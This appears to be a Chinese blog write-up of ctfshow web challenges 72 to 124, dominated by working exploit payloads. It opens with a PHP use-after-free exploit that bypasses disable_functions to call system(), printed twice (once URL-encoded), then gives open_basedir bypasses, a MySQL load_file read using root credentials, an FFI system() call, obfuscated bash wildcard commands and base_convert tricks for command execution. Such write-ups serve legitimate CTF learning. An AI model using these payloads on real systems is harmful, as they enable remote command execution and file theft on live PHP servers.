                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10;
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4);
    write($abc, 0xd0 + 0x68, $zif_system);

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

但是传的时候还要url加密

c=function%20ctfshow(%24cmd)%20%7B%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0Aclass%20Vuln%20%7B%0A%20%20%20%20public%20%24a%3B%0A%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%7D%0A%0Aclass%20Helper%20%7B%0A%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%7D%0A%0Afunction%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%7D%0A%20%20%20%20return%20%24address%3B%0A%7D%0A%0Afunction%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%7D%0A%20%20%20%20return%20%24out%3B%0A%7D%0A%0Afunction%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%7D%0A%7D%0A%0Afunction%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20return%20%24leak%3B%0A%7D%0A%0Afunction%20parse_elf(%24base)%20%7B%0A%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%7D%0A%0Afunction%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%7D%0A%7D%0A%0Afunction%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%7D%0A%0Afunction%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20return%20false%3B%0A%7D%0A%0Afunction%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%7D%0A%0Aif(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%7D%0A%0A%24n_alloc%20%3D%2010%3B%20%0A%24contiguous%20%3D%20%5B%5D%3B%0Afor(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0Atrigger_uaf('x')%3B%0A%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%24helper%20%3D%20new%20Helper%3B%0A%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0Aif(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20die(%22UAF%20failed%22)%3B%0A%7D%0A%0A%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0Awrite(%24abc%2C%200x60%2C%202)%3B%0Awrite(%24abc%2C%200x70%2C%206)%3B%0A%0Awrite(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0Awrite(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0Aif(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%7D%0A%0Aif(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%7D%0A%0Aif(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%7D%0A%0Aif(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%7D%0A%0A%0A%24fake_obj_offset%20%3D%200xd0%3B%0Afor(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%7D%0A%0Awrite(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0Awrite(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0Awrite(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A(%24helper-%3Eb)(%24cmd)%3B%0Aexit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%20%3F%3E

这题还是有点难了

image-20250214165109899

web73

题目考点:

做题过程:

image-20250214165816029

直接扫根目录吧

var_export(scandir('/'));exit();

image-20250214170005256

读文件

include('/flagc.txt');die();

image-20250214170123044

web74

题目考点:

做题过程:

image-20250214170628675

扫目录

var_export(scandir('/'));die();

image-20250214170754818

被ban了,只能用glob了

var_export(glob("/*"));exit();

image-20250214170955899

读文件内容

require_once('/flagx.txt');exit();

image-20250214171100524

web75

题目考点:

做题过程:

image-20250214171446610

想查一下根目录,结果

var_export(glob("/*"));exit();

image-20250214183925069

那就换一种方法查,上面的函数应该也是被ban了

?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();?>

image-20250214184653806

读文件内容

require_once('/flag36.txt');exit();

image-20250214184947735

因为PHP的open_basedir配置限制了PHP脚本可以访问的文件路径。/flag36.txt不在允许的路径中,而/var/www/html/是唯一被允许的路径,并且过滤了strlen,没办法使用web72的uaf的方式绕过命令执行的限制

用的mysql的打法,也是看了网上的payload才知道的

try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

image-20250214185403892

web76

题目考点:

做题过程:

image-20250214185709455

试了一下,前面的payload基本都被ban了

?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();?>

image-20250214185955289

查文件

include('/flag36d.txt');die();

image-20250214190411615

又是这个函数,没法查看,试试上题的解法

try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

image-20250214190243364

web77

题目考点:

做题过程:

image-20250214192107964

直接查,比上一题应该ban的更多

?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();?>

image-20250214193815504

用上题的方法查看文件

try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36x.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

image-20250214192515669

这里利用ffi来绕过

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);exit();

image-20250214194030800

然后访问/1.txt

image-20250214194111133

web118

题目考点:

做题过程:

image-20250214194453928

image-20250214194625902

输入ls,whoami这些都回显错误

image-20250215161520340

看源码有系统执行函数,扫目录,发现有flag.php,但是访问是空白

image-20250215162906923

感觉是过滤了小写字母还有一些符号,看wp第一次见识到这种做法

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

还有这种

${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???

image-20250215162815426

web119

题目考点:

做题过程:

image-20250215162955293

感觉和上道题差不多

image-20250215163023490

源码也差不多

${PWD:${#}:${##}}???${PWD:${#}:${##}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}}$IFS?${PWD:~A}??.???

image-20250215163314181

web120

题目考点:

做题过程:

image-20250215163743454

不会写,看wp看了好久才懂

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
${PWD::${##}}???${PWD::${##}}??${PWD:~${SHLVL}:${##}} ????.???
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

image-20250215164131582

image-20250215164155771

web121

题目考点:

做题过程:

image-20250215165012039

ban了更多的东西

依旧被折磨

${PWD::${##}}???${PWD::${##}}??${PWD:${##}${#}:${##}} ????.???
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

image-20250215165503637

image-20250215165449913

image-20250215165721361

image-20250215165841010

web122

题目考点:

做题过程:

image-20250215170215121

ban了更多了

<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

要多刷新几次才行

image-20250215170421326

然后base64解码

image-20250215170530607

web124

题目考点:

做题过程:

image-20250215170927189

过滤了很多东西,黑名单白名单一堆

先查目录

$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls

image-20250215171123262

接着读取文件内容

$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php

image-20250215171219961

posted @ 2025-04-15 02:41  A5trid  阅读(88)  评论(0)    收藏  举报

Tomorrow is another day!